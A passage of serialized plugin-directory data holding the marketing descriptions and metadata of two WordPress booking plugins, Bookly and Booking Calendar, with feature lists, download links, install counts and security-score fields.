system\u003C\u002Fstrong>. Manage your \u003Cstrong>booking calendar\u003C\u002Fstrong>, services, client base, save time and money – all in one place. Join more than 70,000 businesses all around the world that have already automated their \u003Cstrong>online booking system\u003C\u002Fstrong>!\u003C\u002Fp>\n\u003Cp>\u003Cspan class=\"embed-youtube\" style=\"text-align:center; display: block;\">\u003Ciframe loading=\"lazy\" class=\"youtube-player\" width=\"750\" height=\"422\" src=\"https:\u002F\u002Fwww.youtube.com\u002Fembed\u002FXkCrADjLt2s?version=3&rel=1&showsearch=0&showinfo=1&iv_load_policy=1&fs=1&hl=en-US&autohide=2&wmode=transparent\" allowfullscreen=\"true\" style=\"border:0;\" sandbox=\"allow-scripts allow-same-origin allow-popups allow-presentation allow-popups-to-escape-sandbox\">\u003C\u002Fiframe>\u003C\u002Fspan>\u003C\u002Fp>\n\u003Cp>\u003Cstrong>Bookly\u003C\u002Fstrong> is designed to grow your online sales and \u003Cstrong>make easy appointments\u003C\u002Fstrong>. This is a \u003Cstrong>one-stop shop\u003C\u002Fstrong> for \u003Cstrong>any businesses\u003C\u002Fstrong> from hair salons or photography to wealth management and transportation. You can \u003Cstrong>start\u003C\u002Fstrong> easily with the \u003Cstrong>free version of Bookly\u003C\u002Fstrong> and once your business scales you can operate \u003Cstrong>ultimate scheduling software\u003C\u002Fstrong> with the paid version available with the \u003Cstrong>Bookly Pro add-on\u003C\u002Fstrong>, and various add-ons.\u003C\u002Fp>\n\u003Cp>\u003Cem>\u003Cstrong>PLEASE NOTE\u003C\u002Fstrong> that online payments, unlimited number of staff members and services, and ability to install add-ons are\u003C\u002Fem> \u003Cstrong>NOT AVAILABLE\u003C\u002Fstrong> in the \u003Cstrong>free version\u003C\u002Fstrong>. If you would like to find out more about features available with the \u003Cstrong>Bookly PRO\u003C\u002Fstrong> add-on, please check our \u003Ca href=\"https:\u002F\u002Fdemo.booking-wp-plugin.com\u002F?utm_campaign=wp_description&utm_medium=cpc&utm_source=WP_ORG\u002F\" rel=\"nofollow ugc\">demo\u003C\u002Fa>.\u003C\u002Fp>\n\u003Cp>\u003Ca href=\"https:\u002F\u002Fwww.booking-wp-plugin.com\u002F?utm_campaign=wp_description&utm_medium=cpc&utm_source=WP_ORG\" rel=\"nofollow ugc\">Bookly Homepage\u003C\u002Fa> | \u003Ca href=\"https:\u002F\u002Fwww.booking-wp-plugin.com\u002Fpricing?utm_campaign=wp_description&utm_medium=cpc&utm_source=WP_ORG\" rel=\"nofollow ugc\">Pro Features\u003C\u002Fa> (Bookly Pro add-on required) |\u003Cbr \u002F>\n\u003Ca href=\"https:\u002F\u002Fwww.booking-wp-plugin.com\u002Fadd-ons?utm_campaign=wp_description&utm_medium=cpc&utm_source=WP_ORG\" rel=\"nofollow ugc\">Add-ons\u003C\u002Fa> (Bookly Pro add-on required) | \u003Ca href=\"https:\u002F\u002Fsupport.booking-wp-plugin.com\u002Fhc\u002Fen-us?utm_campaign=wp_description&utm_medium=cpc&utm_source=WP_ORG\" rel=\"nofollow ugc\">Bookly Help Center\u003C\u002Fa>  | \u003Ca href=\"https:\u002F\u002Fwww.booking-wp-plugin.com\u002Fdemo\u002Ffree\u002F?utm_campaign=wp_description&utm_medium=cpc&utm_source=WP_ORG\" rel=\"nofollow ugc\">Demo\u003C\u002Fa>\u003C\u002Fp>\n\u003Ch3>1. Benefits for the customers\u003C\u002Fh3>\n\u003Cp>\u003Cstrong>Online Scheduling\u003C\u002Fstrong> with Bookly couldn’t be any \u003Cstrong>easier for your customers\u003C\u002Fstrong>. The \u003Cstrong>booking form\u003C\u002Fstrong> is perfectly \u003Cstrong>responsive\u003C\u002Fstrong> on any device, and all that customers need to do is pick their desired service and time, provide you with a few personal details, and voilà – it’s done! Your customers will receive an email or \u003Cstrong>SMS notification\u003C\u002Fstrong> before the appointment, and it will be automatically added to your \u003Cstrong>Appointment Booking Calendar\u003C\u002Fstrong>.\u003C\u002Fp>\n\u003Ch3>1.1 When you install Bookly on your website, your customers will be able to:\u003C\u002Fh3>\n\u003Cp>– quickly \u003Cstrong>schedule\u003C\u002Fstrong> and \u003Cstrong>book appointment\u003C\u002Fstrong> without having to directly contact you or your employee;\u003Cbr \u002F>\n– make a booking  on \u003Cstrong>any device\u003C\u002Fstrong>, since Bookly design is fully responsive;\u003Cbr \u002F>\n– \u003Cstrong>select\u003C\u002Fstrong> the \u003Cstrong>category\u003C\u002Fstrong>, the \u003Cstrong>service\u003C\u002Fstrong>, and \u003Cstrong>employee\u003C\u002Fstrong> to perform the service;\u003Cbr \u002F>\n– \u003Cstrong>define the dates\u003C\u002Fstrong> and time that work best for them and the booking system will offer only available time slots;\u003Cbr \u002F>\n– fill in the \u003Cstrong>minimum\u003C\u002Fstrong> amount of \u003Cstrong>contact details\u003C\u002Fstrong>;\u003Cbr \u002F>\n– get an \u003Cstrong>email and SMS notification\u003C\u002Fstrong> confirming their online reservations;\u003Cbr \u002F>\n– \u003Cstrong>get SMS reminder\u003C\u002Fstrong> about an upcoming appointment.\u003C\u002Fp>\n\u003Ch3>1.2 Bookly Key Benefits\u003C\u002Fh3>\n\u003Cul>\n\u003Cli>\u003Cstrong>Saves time\u003C\u002Fstrong> – no action necessary after booking is confirmed\u003C\u002Fli>\n\u003Cli>\u003Cstrong>Friendly booking interface\u003C\u002Fstrong> – easy navigation\u003C\u002Fli>\n\u003Cli>\u003Cstrong>Minimal data\u003C\u002Fstrong> input \u003Cstrong>required\u003C\u002Fstrong>\u003C\u002Fli>\n\u003Cli>\u003Cstrong>Responsive booking form\u003C\u002Fstrong> – works on any device\u003C\u002Fli>\n\u003Cli>Never forget a booked appointment with \u003Cstrong>SMS and email notifications\u003C\u002Fstrong>\u003C\u002Fli>\n\u003C\u002Ful>\n\u003Ch3>2. Benefits for the business owner\u003C\u002Fh3>\n\u003Cp>\u003Cstrong>No coding experience\u003C\u002Fstrong> required to set up Bookly. We did our best to make it as \u003Cstrong>easy and quick\u003C\u002Fstrong> as possible to install and \u003Cstrong>start using Bookly free\u003C\u002Fstrong> scheduling software on your WordPress website. And with our \u003Cstrong>Bookly Pro add-on\u003C\u002Fstrong> and other add-ons, you will bring \u003Cstrong>online scheduling\u003C\u002Fstrong> experience for you and your customers to the \u003Cstrong>next level\u003C\u002Fstrong>.\u003C\u002Fp>\n\u003Cp>You will be able to navigate the \u003Cstrong>Booking Admin Panel\u003C\u002Fstrong> like a pro, \u003Cstrong>approve\u003C\u002Fstrong> and \u003Cstrong>adjust\u003C\u002Fstrong> your appointments, and \u003Cstrong>automate your online scheduling\u003C\u002Fstrong> to concentrate on the most important part of your business – serving your customers and \u003Cstrong>grow sales\u003C\u002Fstrong>.\u003C\u002Fp>\n\u003Cp>You can change the \u003Cstrong>layout\u003C\u002Fstrong> and \u003Cstrong>modify the appearance\u003C\u002Fstrong> of the booking form to match your business, website, and branding, manage your services and the customers’ list and send \u003Cstrong>email\u003C\u002Fstrong> and \u003Cstrong>SMS notifications\u003C\u002Fstrong> – all in one place.\u003C\u002Fp>\n\u003Ch3>You can use a wide range of Bookly features to configure your Appointment Scheduler and manage your bookings effectively:\u003C\u002Fh3>\n\u003Cp>– easily and effectively manage your \u003Cstrong>Customer list\u003C\u002Fstrong> and \u003Cstrong>Appointment Calendar\u003C\u002Fstrong> online from the Admin panel;\u003Cbr \u002F>\n– add an \u003Cstrong>unlimited number of clients\u003C\u002Fstrong> to your searchable and sortable Customer list;\u003Cbr \u002F>\n– add \u003Cstrong>new customer\u003C\u002Fstrong> directly from the \u003Cstrong>calendar\u003C\u002Fstrong>;\u003Cbr \u002F>\n– setup and customize \u003Cstrong>SMS settings\u003C\u002Fstrong> right from Bookly backend;\u003Cbr \u002F>\n– \u003Cstrong>notify customers\u003C\u002Fstrong> and a service provider about approved, pending and canceled appointments via \u003Cstrong>SMS\u003C\u002Fstrong> and \u003Cstrong>Email\u003C\u002Fstrong> notifications;\u003Cbr \u002F>\n– view \u003Cstrong>calendar\u003C\u002Fstrong> in monthly\u002Fweekly\u002Fdaily \u003Cstrong>format\u003C\u002Fstrong>;\u003Cbr \u002F>\n– filter, search and sort \u003Cstrong>booking list\u003C\u002Fstrong>;\u003Cbr \u002F>\n– automatically approve or cancel \u003Cstrong>appointments\u003C\u002Fstrong>.\u003C\u002Fp>\n\u003Ch3>Configure the booking form to suit your needs:\u003C\u002Fh3>\n\u003Cp>– \u003Cstrong>customize every step\u003C\u002Fstrong> of your booking form, including editable headings, texts, and buttons;\u003Cbr \u002F>\n– translate all user interface and notifications into \u003Cstrong>40+ languages via WPML plugin\u003C\u002Fstrong>;\u003Cbr \u002F>\n– \u003Cstrong>add\u003C\u002Fstrong> as many \u003Cstrong>booking forms\u003C\u002Fstrong> on your website as you want;\u003Cbr \u002F>\n– show or hide specific fields if you don’t want them to be visible to your customers;\u003Cbr \u002F>\n– use pre-defined default values for \u003Cstrong>Category\u003C\u002Fstrong>, \u003Cstrong>Service\u003C\u002Fstrong> and \u003Cstrong>Employee\u003C\u002Fstrong> fields in your \u003Cstrong>booking form\u003C\u002Fstrong>;\u003Cbr \u002F>\n– \u003Cstrong>choose\u003C\u002Fstrong> the way your customers will see your \u003Cstrong>booking form\u003C\u002Fstrong> on the front-end (e.g., show or hide the calendar, show each day in one column, display blocked time slots);\u003Cbr \u002F>\n– display available \u003Cstrong>time slots\u003C\u002Fstrong> in the client’s \u003Cstrong>time zone\u003C\u002Fstrong>;\u003Cbr \u002F>\n– \u003Cstrong>set duration\u003C\u002Fstrong> for each \u003Cstrong>service\u003C\u002Fstrong> separately;\u003Cbr \u002F>\n– choose an individual color for each service in order to color code appointments internally in your \u003Cstrong>Appointment Booking Calendar\u003C\u002Fstrong>;\u003Cbr \u002F>\n– \u003Cstrong>organize services\u003C\u002Fstrong> into \u003Cstrong>categories\u003C\u002Fstrong> (you can add up to five services with the free version of Bookly);\u003C\u002Fp>\n\u003Ch3>2.1 Key Features\u003C\u002Fh3>\n\u003Cul>\n\u003Cli>\u003Cstrong>Fast online booking\u003C\u002Fstrong> with intuitively manageable forms\u003C\u002Fli>\n\u003Cli>The fully \u003Cstrong>customizable appearance\u003C\u002Fstrong> of the booking form with no coding involved\u003C\u002Fli>\n\u003Cli>\u003Cstrong>Unlimited number of booking forms\u003C\u002Fstrong> on your site\u003C\u002Fli>\n\u003Cli>\u003Cstrong>Comprehensive admin area\u003C\u002Fstrong> with an intuitive interface\u003C\u002Fli>\n\u003Cli>Monthly\u002Fweekly\u002Fdaily \u003Cstrong>calendar view\u003C\u002Fstrong> for the service provider\u003C\u002Fli>\n\u003Cli>Manageable \u003Cstrong>list of your customers\u003C\u002Fstrong>\u003C\u002Fli>\n\u003Cli>Filterable, sortable and searchable \u003Cstrong>booking list\u003C\u002Fstrong> of your customers\u003C\u002Fli>\n\u003Cli>\u003Cstrong>Variable duration\u003C\u002Fstrong> for each \u003Cstrong>service\u003C\u002Fstrong> (5 min – 7 days)\u003C\u002Fli>\n\u003Cli>Services grouped into \u003Cstrong>categories\u003C\u002Fstrong>\u003C\u002Fli>\n\u003Cli>Customizable \u003Cstrong>SMS\u003C\u002Fstrong> and \u003Cstrong>email notifications settings\u003C\u002Fstrong> right from the Bookly backend\u003C\u002Fli>\n\u003Cli>\u003Cstrong>WPML integration\u003C\u002Fstrong> for multi-language support\u003C\u002Fli>\n\u003Cli>Automated \u003Cstrong>SMS Mailing Campaigns\u003C\u002Fstrong> for various marketing purposes\u003C\u002Fli>\n\u003Cli>Blocks for Elementor and Gutenberg\u003C\u002Fli>\n\u003C\u002Ful>\n\u003Ch3>3. Bookly Pro add-on features:\u003C\u002Fh3>\n\u003Cp>\u003Cstrong>Bookly Pro\u003C\u002Fstrong> add-on allows you to use more features and settings, install other add-ons for Bookly, includes six months of customer support, and provides you with advanced capabilities for automating your \u003Cstrong>online scheduling system\u003C\u002Fstrong>. Some of them include:\u003C\u002Fp>\n\u003Cul>\n\u003Cli>\u003Cstrong>Unlimited\u003C\u002Fstrong> number of \u003Cstrong>staff members\u003C\u002Fstrong> with an individual working schedule and ability to manage their profiles and online booking calendar\u003C\u002Fli>\n\u003Cli>\u003Cstrong>Unlimited\u003C\u002Fstrong> number of \u003Cstrong>services\u003C\u002Fstrong> with additional settings (padding time, visibility, limitations, etc.)\u003C\u002Fli>\n\u003Cli>Ability to receive secure and flexible \u003Cstrong>online payments\u003C\u002Fstrong> on your website\u003C\u002Fli>\n\u003Cli>Online payment processing with PayPal, Stripe, 2Checkout, Authorize.Net, Mollie, Payson, PayUbiz, PayU Latam\u003C\u002Fli>\n\u003Cli>Additional \u003Cstrong>templates\u003C\u002Fstrong> for \u003Cstrong>Email notifications\u003C\u002Fstrong> (e.g., reminders about upcoming appointments, follow-up messages, birthday greetings, next day agenda, etc.)\u003C\u002Fli>\n\u003Cli>\u003Cstrong>Advanced\u003C\u002Fstrong> features for customizing your \u003Cstrong>online booking form\u003C\u002Fstrong> (show address fields, birthday fields, Facebook login, timezone switcher)\u003C\u002Fli>\n\u003Cli>\u003Cstrong>Google Calendar\u003C\u002Fstrong> integration\u003C\u002Fli>\n\u003Cli>\u003Cstrong>WooCommerce\u003C\u002Fstrong> compatibility\u003C\u002Fli>\n\u003Cli>\u003Cstrong>Importable and exportable customer list\u003C\u002Fstrong> which includes info about appointments and payments\u003C\u002Fli>\n\u003Cli>\u003Cstrong>Built-in analytics\u003C\u002Fstrong> so you will be able to see a comprehensive report about the number of bookings, customers and payments received\u003C\u002Fli>\n\u003Cli>Integration with \u003Cstrong>Zoom\u003C\u002Fstrong>, \u003Cstrong>Google Meet\u003C\u002Fstrong> and \u003Cstrong>Jitsi\u003C\u002Fstrong>\u003C\u002Fli>\n\u003Cli>\u003Cstrong>Mailchimp\u003C\u002Fstrong> integration (via add-on)\u003C\u002Fli>\n\u003Cli>Ability to export appointments via \u003Cstrong>ICalendar feed\u003C\u002Fstrong>\u003C\u002Fli>\n\u003Cli>\u003Cstrong>Ability to purchase and use\u003C\u002Fstrong> dozens of \u003Cstrong>paid add-ons for deeper customization\u003C\u002Fstrong> of your booking system (group bookings, custom fields, service \u003Cstrong>extra items\u003C\u002Fstrong>, recurring appointments, deposits, \u003Cstrong>coupons\u003C\u002Fstrong>, personal staff cabinet and user account for your clients, \u003Cstrong>automatic invoicing\u003C\u002Fstrong>, waiting list, and much \u003Cstrong>more!\u003C\u002Fstrong>)\u003C\u002Fli>\n\u003C\u002Ful>\n\u003Ch3>4. Who can benefit from using Bookly:\u003C\u002Fh3>\n\u003Cp>Bookly for WordPress is designed to be used by \u003Cstrong>local businesses\u003C\u002Fstrong> or \u003Cstrong>individual providers\u003C\u002Fstrong> who offer different services to customers. Since the \u003Cstrong>booking form\u003C\u002Fstrong> can be \u003Cstrong>fully customized\u003C\u002Fstrong> and \u003Cstrong>personalized\u003C\u002Fstrong>, it is \u003Cstrong>successfully used\u003C\u002Fstrong> in many business segments such as \u003Cstrong>Healthcare\u003C\u002Fstrong>, \u003Cstrong>Beauty\u003C\u002Fstrong>, \u003Cstrong>Education\u003C\u002Fstrong>, \u003Cstrong>Medicine\u003C\u002Fstrong>, \u003Cstrong>Consulting\u003C\u002Fstrong> etc., as well as by individual professionals.\u003C\u002Fp>\n\u003Cp>Also, Bookly is an excellent solution for \u003Cstrong>web studios\u003C\u002Fstrong> and \u003Cstrong>developers\u003C\u002Fstrong>, who are looking for ways to improve the \u003Cstrong>appointment process\u003C\u002Fstrong> for their \u003Cstrong>customers\u003C\u002Fstrong>.\u003C\u002Fp>\n\u003Ch3>Online scheduling for:\u003C\u002Fh3>\n\u003Cul>\n\u003Cli>\u003Cstrong>Salon & Beauty\u003C\u002Fstrong> (hair salons, nail salons, cosmetology centers, tanning studios, barbershops)\u003C\u002Fli>\n\u003Cli>\u003Cstrong>Health and wellness\u003C\u002Fstrong> (wellness, spa & massage, aromatherapy, baths)\u003C\u002Fli>\n\u003Cli>\u003Cstrong>Medicine\u003C\u002Fstrong> (clinics, doctors, dentists, medical centers)\u003C\u002Fli>\n\u003Cli>\u003Cstrong>Education\u003C\u002Fstrong> (education centers, tutors, language schools, private lessons)\u003C\u002Fli>\n\u003Cli>\u003Cstrong>Fitness & Gyms\u003C\u002Fstrong> (yoga classes, personal trainers, health clubs, fitness centers, dance instructors)\u003C\u002Fli>\n\u003Cli>\u003Cstrong>Professional services\u003C\u002Fstrong> (coaches, consultants, lawyers, photographers, consulting psychologist, cleaning services)\u003C\u002Fli>\n\u003Cli>or any \u003Cstrong>other services\u003C\u002Fstrong> which can be scheduled and reserved \u003Cstrong>online\u003C\u002Fstrong> using the booking system.\u003C\u002Fli>\n\u003C\u002Ful>\n\u003Ch3>FURTHER READING\u003C\u002Fh3>\n\u003Cul>\n\u003Cli>\u003Ca href=\"https:\u002F\u002Fwww.booking-wp-plugin.com\u002F?utm_campaign=wp_description&utm_medium=cpc&utm_source=WP_ORG\" rel=\"nofollow ugc\">Bookly Online Scheduling plugin\u003C\u002Fa> official page\u003C\u002Fli>\n\u003Cli>\u003Ca href=\"https:\u002F\u002Fsupport.booking-wp-plugin.com\u002Fhc\u002Fen-us?utm_source=WP_ORG&utm_medium=cpc&utm_campaign=wp_further_reading\" rel=\"nofollow ugc\">Help center\u003C\u002Fa>\u003C\u002Fli>\n\u003Cli>\u003Ca href=\"https:\u002F\u002Fwww.booking-wp-plugin.com\u002Fdemo\u002Ffree\u002F?utm_campaign=wp_furtherreading&utm_medium=cpc&utm_source=WP_ORG\" rel=\"nofollow ugc\">Bookly demo\u003C\u002Fa>\u003C\u002Fli>\n\u003Cli>\u003Ca href=\"https:\u002F\u002Fdemo.booking-wp-plugin.com\u002F?utm_campaign=wp_furtherreading&utm_medium=cpc&utm_source=WP_ORG\" rel=\"nofollow ugc\">Bookly Pro add-on demo\u003C\u002Fa>\u003C\u002Fli>\n\u003Cli>\u003Ca href=\"https:\u002F\u002Fwww.booking-wp-plugin.com\u002Fadd-ons?utm_campaign=wp_description&utm_medium=cpc&utm_source=WP_ORG\" rel=\"nofollow ugc\">Add-ons for Bookly Pro\u003C\u002Fa>\u003C\u002Fli>\n\u003Cli>\u003Ca href=\"https:\u002F\u002Fyoutube.com\u002Fc\u002FBookly?utm_source=WP_ORG&utm_medium=cpc&utm_campaign=wp_further_reading\" rel=\"nofollow ugc\">Youtube channel\u003C\u002Fa>\u003C\u002Fli>\n\u003C\u002Ful>\n\u003Ch3>AFTER ACTIVATION\u003C\u002Fh3>\n\u003Cul>\n\u003Cli>\u003Cstrong>Add\u003C\u002Fstrong> at least one \u003Cstrong>service\u003C\u002Fstrong> (Bookly menu > Services).\u003C\u002Fli>\n\u003Cli>\u003Cstrong>Add a staff member\u003C\u002Fstrong> linked to your service (Bookly menu > Staff members).\u003C\u002Fli>\n\u003Cli>\u003Cstrong>Customize\u003C\u002Fstrong> the appearance of your online booking form (Bookly menu > Appearance).\u003C\u002Fli>\n\u003Cli>\u003Cstrong>Publish the booking form\u003C\u002Fstrong> on your website (WordPress sidebar menu > Pages\u002FPosts).\u003C\u002Fli>\n\u003C\u002Ful>\n","Appointment booking system for WordPress — schedule appointments, manage calendars, send reminders, take payments. Start booking today!",70000,3653847,563,"2026-04-14T11:21:00.000Z","6.9.4","3.7","5.3.7",[284,285,243,20,286],"appointment-booking","appointments","booking-system","https:\u002F\u002Fwww.booking-wp-plugin.com\u002F?utm_source=bookly_admin&utm_medium=plugins_page&utm_campaign=plugins_page","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fbookly-responsive-appointment-booking-tool.27.4.zip",10,"2026-04-08 00:00:00",{"slug":243,"name":292,"version":293,"author":294,"author_profile":295,"description":296,"short_description":297,"active_installs":298,"downloaded":299,"rating":300,"num_ratings":301,"last_updated":302,"tested_up_to":18,"requires_at_least":17,"requires_php":303,"tags":304,"homepage":307,"download_link":308,"security_score":309,"vuln_count":310,"unpatched_count":29,"last_vuln_date":311,"fetched_at":31},"Booking Calendar","10.15.4","wpdevelop","https:\u002F\u002Fprofiles.wordpress.org\u002Fwpdevelop\u002F","\u003Ch4>Booking Calendar – Booking Plugin for Appointments, Reservations, Rentals, Events\u003C\u002Fh4>\n\u003Cp>\u003Cstrong>WP Booking Calendar\u003C\u002Fstrong> is a flexible \u003Cstrong>WordPress booking plugin\u003C\u002Fstrong> for \u003Cstrong>appointments\u003C\u002Fstrong>, \u003Cstrong>reservations\u003C\u002Fstrong>, \u003Cstrong>rentals\u003C\u002Fstrong>, and \u003Cstrong>events\u003C\u002Fstrong>. Add a responsive \u003Cstrong>availability calendar\u003C\u002Fstrong> and \u003Cstrong>booking form\u003C\u002Fstrong> to your website, accept \u003Cstrong>online bookings\u003C\u002Fstrong>, and manage them from a modern admin panel.\u003C\u002Fp>\n\u003Cp>Use Booking Calendar for \u003Cstrong>full-day bookings\u003C\u002Fstrong>, \u003Cstrong>time-slot appointments\u003C\u002Fstrong>, service scheduling, event registration, \u003Cstrong>inquiry forms\u003C\u002Fstrong>, \u003Cstrong>request forms\u003C\u002Fstrong>, or even as a simple multi-steps \u003Cstrong>contact form\u003C\u002Fstrong> with built-in request listing and email notifications.\u003C\u002Fp>\n\u003Cp>\u003Ca href=\"https:\u002F\u002Fwpbookingcalendar.com\u002Ffeatures\u002F\" title=\"Features Overview of Booking Calendar\" rel=\"nofollow ugc\">Features\u003C\u002Fa> | \u003Ca href=\"https:\u002F\u002Fwpbookingcalendar.com\u002Fdemo\u002F\" title=\"Live demos of premium versions\" rel=\"nofollow ugc\">See Demos\u003C\u002Fa> | \u003Ca href=\"https:\u002F\u002Fwpbookingcalendar.com\u002Ffaq\u002F\" title=\"Booking Calendar FAQ\" rel=\"nofollow ugc\">FAQ\u003C\u002Fa> | \u003Ca href=\"https:\u002F\u002Fwpbookingcalendar.com\u002Fsupport\u002F\" title=\"Get support for Booking Calendar plugin\" rel=\"nofollow ugc\">Get Support\u003C\u002Fa>\u003C\u002Fp>\n\u003Ch4>Key Features\u003C\u002Fh4>\n\u003Cul>\n\u003Cli>Accept \u003Cstrong>full-day\u003C\u002Fstrong> and \u003Cstrong>time-slot\u003C\u002Fstrong> bookings\u003C\u002Fli>\n\u003Cli>Show \u003Cstrong>calendar availability\u003C\u002Fstrong> on your website\u003C\u002Fli>\n\u003Cli>Create booking, contact, and inquiry forms\u003C\u002Fli>\n\u003Cli>Use the new \u003Cstrong>Drag & Drop Booking Form Builder\u003C\u002Fstrong>\u003C\u002Fli>\n\u003Cli>Build \u003Cstrong>multi-step forms\u003C\u002Fstrong> with rows and columns\u003C\u002Fli>\n\u003Cli>Customize form fields and email notifications\u003C\u002Fli>\n\u003Cli>Prevent double bookings\u003C\u002Fli>\n\u003Cli>Manage bookings in a clear admin panel\u003C\u002Fli>\n\u003Cli>Sync bookings with external services using \u003Cstrong>.ics feeds\u003C\u002Fstrong>\u003C\u002Fli>\n\u003Cli>Import Google Calendar events\u003C\u002Fli>\n\u003Cli>Works for properties, services, rentals, and events\u003C\u002Fli>\n\u003C\u002Ful>\n\u003Ch4>New Drag & Drop Booking Form Builder\u003C\u002Fh4>\n\u003Cp>Create booking forms visually without manually editing complex shortcodes or form code. Simply drag fields from the sidebar, drop them into the canvas, organize them into rows and columns, edit settings in the sidebar, and preview changes instantly.\u003C\u002Fp>\n\u003Cp>\u003Cspan class=\"embed-youtube\" style=\"text-align:center; display: block;\">\u003Ciframe loading=\"lazy\" class=\"youtube-player\" width=\"750\" height=\"422\" src=\"https:\u002F\u002Fwww.youtube.com\u002Fembed\u002F_LRr15mcECE?version=3&rel=1&showsearch=0&showinfo=1&iv_load_policy=1&fs=1&hl=en-US&autohide=2&wmode=transparent\" allowfullscreen=\"true\" style=\"border:0;\" sandbox=\"allow-scripts allow-same-origin allow-popups allow-presentation allow-popups-to-escape-sandbox\">\u003C\u002Fiframe>\u003C\u002Fspan>\u003C\u002Fp>\n\u003Cp>The new builder also makes it easy to create \u003Cstrong>contact\u003C\u002Fstrong> and \u003Cstrong>inquiry forms\u003C\u002Fstrong> where the calendar is optional.\u003C\u002Fp>\n\u003Cp>With the new interface, you can:\u003C\u002Fp>\n\u003Cul>\n\u003Cli>drag and drop fields into the form layout,\u003C\u002Fli>\n\u003Cli>organize fields into sections and columns,\u003C\u002Fli>\n\u003Cli>create multi-step form pages,\u003C\u002Fli>\n\u003Cli>resize columns for better layout control,\u003C\u002Fli>\n\u003Cli>edit field settings in the right sidebar,\u003C\u002Fli>\n\u003Cli>instantly preview the form while building.\u003C\u002Fli>\n\u003C\u002Ful>\n\u003Cp>This new functionality brings a more modern, user-friendly, and flexible way to create forms in Booking Calendar, making form setup faster, clearer, and much more convenient for website owners.\u003C\u002Fp>\n\u003Ch4>Perfect solution for any booking logic\u003C\u002Fh4>\n\u003Cp>As the first booking system for WordPress, we have created a huge number of features to match your specific booking needs.\u003C\u002Fp>\n\u003Cp>Easily \u003Cstrong>define available dates\u003C\u002Fstrong> and allow your visitors to \u003Cstrong>reserve\u003C\u002Fstrong> your property or service for a \u003Cstrong>full day\u003C\u002Fstrong> or \u003Cstrong>time-slot\u003C\u002Fstrong>.\u003C\u002Fp>\n\u003Cp>For those who need more advanced functionality, our premium versions offer an extensive system with \u003Cstrong>multiple resources\u003C\u002Fstrong>, \u003Cstrong>seasonal prices\u003C\u002Fstrong>, \u003Cstrong>conditional dates\u003C\u002Fstrong> selection, \u003Cstrong>availability search\u003C\u002Fstrong>, and even a \u003Cstrong>multi-user system\u003C\u002Fstrong> where users can independently manage their own availability, much like an Airbnb portal.\u003C\u002Fp>\n\u003Ch4>Booking Calendar is great for\u003C\u002Fh4>\n\u003Cp>Whether you’re renting a property or you’re a sole business owner looking to automate your service bookings, Booking Calendar can help you.\u003Cbr \u002F>\n– Resource scheduling (bed & breakfast, houses, apartments, etc.)\u003Cbr \u002F>\n– Client scheduling (photographers, lawyers, beauty salons, spas, etc.)\u003Cbr \u002F>\n– Meeting scheduling (coaching, phone advice)\u003Cbr \u002F>\n– Patient scheduling (doctor, dentists, clinic, medical)\u003Cbr \u002F>\n– Equipment rentals (yachts, boats, cars, bikes, technics, etc.)\u003Cbr \u002F>\n– Event scheduling (conference, course, fitness center, yoga class, gym)\u003Cbr \u002F>\n– Or any other service where booking for a specific time is required\u003C\u002Fp>\n\u003Ch4>Full Day Bookings – Drag and Drop Booking Form Builder\u003C\u002Fh4>\n\u003Cp>Easily configure Booking Calendar for full-day bookings with the new Drag and Drop Booking Form Builder. The new Booking Calendar Form Builder makes it much easier to create flexible booking forms without manually editing form code. It is a simple and visual way to build booking forms for different use cases directly inside WordPress.\u003C\u002Fp>\n\u003Cp>\u003Cspan class=\"embed-youtube\" style=\"text-align:center; display: block;\">\u003Ciframe loading=\"lazy\" class=\"youtube-player\" width=\"750\" height=\"422\" src=\"https:\u002F\u002Fwww.youtube.com\u002Fembed\u002Fn_svjKULkc0?version=3&rel=1&showsearch=0&showinfo=1&iv_load_policy=1&fs=1&hl=en-US&autohide=2&wmode=transparent\" allowfullscreen=\"true\" style=\"border:0;\" sandbox=\"allow-scripts allow-same-origin allow-popups allow-presentation allow-popups-to-escape-sandbox\">\u003C\u002Fiframe>\u003C\u002Fspan>\u003C\u002Fp>\n\u003Ch4>Appointment Forms with Time Slots or Start Time + Service Duration Selection\u003C\u002Fh4>\n\u003Cp>Create a time-slot booking form in just a few minutes with the new Booking Calendar Form Builder. Visually add the calendar, time fields, and contact fields, adjust the layout, and preview changes instantly — without manually editing form code.\u003C\u002Fp>\n\u003Cp>\u003Cspan class=\"embed-youtube\" style=\"text-align:center; display: block;\">\u003Ciframe loading=\"lazy\" class=\"youtube-player\" width=\"750\" height=\"422\" src=\"https:\u002F\u002Fwww.youtube.com\u002Fembed\u002F6hV11Cfc61Q?version=3&rel=1&showsearch=0&showinfo=1&iv_load_policy=1&fs=1&hl=en-US&autohide=2&wmode=transparent\" allowfullscreen=\"true\" style=\"border:0;\" sandbox=\"allow-scripts allow-same-origin allow-popups allow-presentation allow-popups-to-escape-sandbox\">\u003C\u002Fiframe>\u003C\u002Fspan>\u003C\u002Fp>\n\u003Ch4>Changeover Multi-Day Bookings – Setup Wizard (Pro)\u003C\u002Fh4>\n\u003Cp>Configure multi-day bookings with specific check-in and check-out days, clearly marked with diagonal or vertical lines. Perfect for bookings that require split days. \u003Cbr \u002F>\u003Cstrong>Available Pro versions\u003C\u002Fstrong>.\u003C\u002Fp>\n\u003Cp>\u003Cspan class=\"embed-youtube\" style=\"text-align:center; display: block;\">\u003Ciframe loading=\"lazy\" class=\"youtube-player\" width=\"750\" height=\"422\" src=\"https:\u002F\u002Fwww.youtube.com\u002Fembed\u002FuCQ9JmHR8w4?version=3&rel=1&showsearch=0&showinfo=1&iv_load_policy=1&fs=1&hl=en-US&autohide=2&wmode=transparent\" allowfullscreen=\"true\" style=\"border:0;\" sandbox=\"allow-scripts allow-same-origin allow-popups allow-presentation allow-popups-to-escape-sandbox\">\u003C\u002Fiframe>\u003C\u002Fspan>\u003C\u002Fp>\n","WP Booking Calendar plugin for full-day bookings, time-slot appointments, rentals & events. Accept bookings and inquiries with flexible contact forms",50000,4880134,94,649,"2026-03-27T08:10:00.000Z","5.6",[284,20,305,306,244],"booking-form","contact-form","https:\u002F\u002Fwpbookingcalendar.com\u002Fdemo\u002F","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fbooking.10.15.4.zip",82,29,"2026-02-17 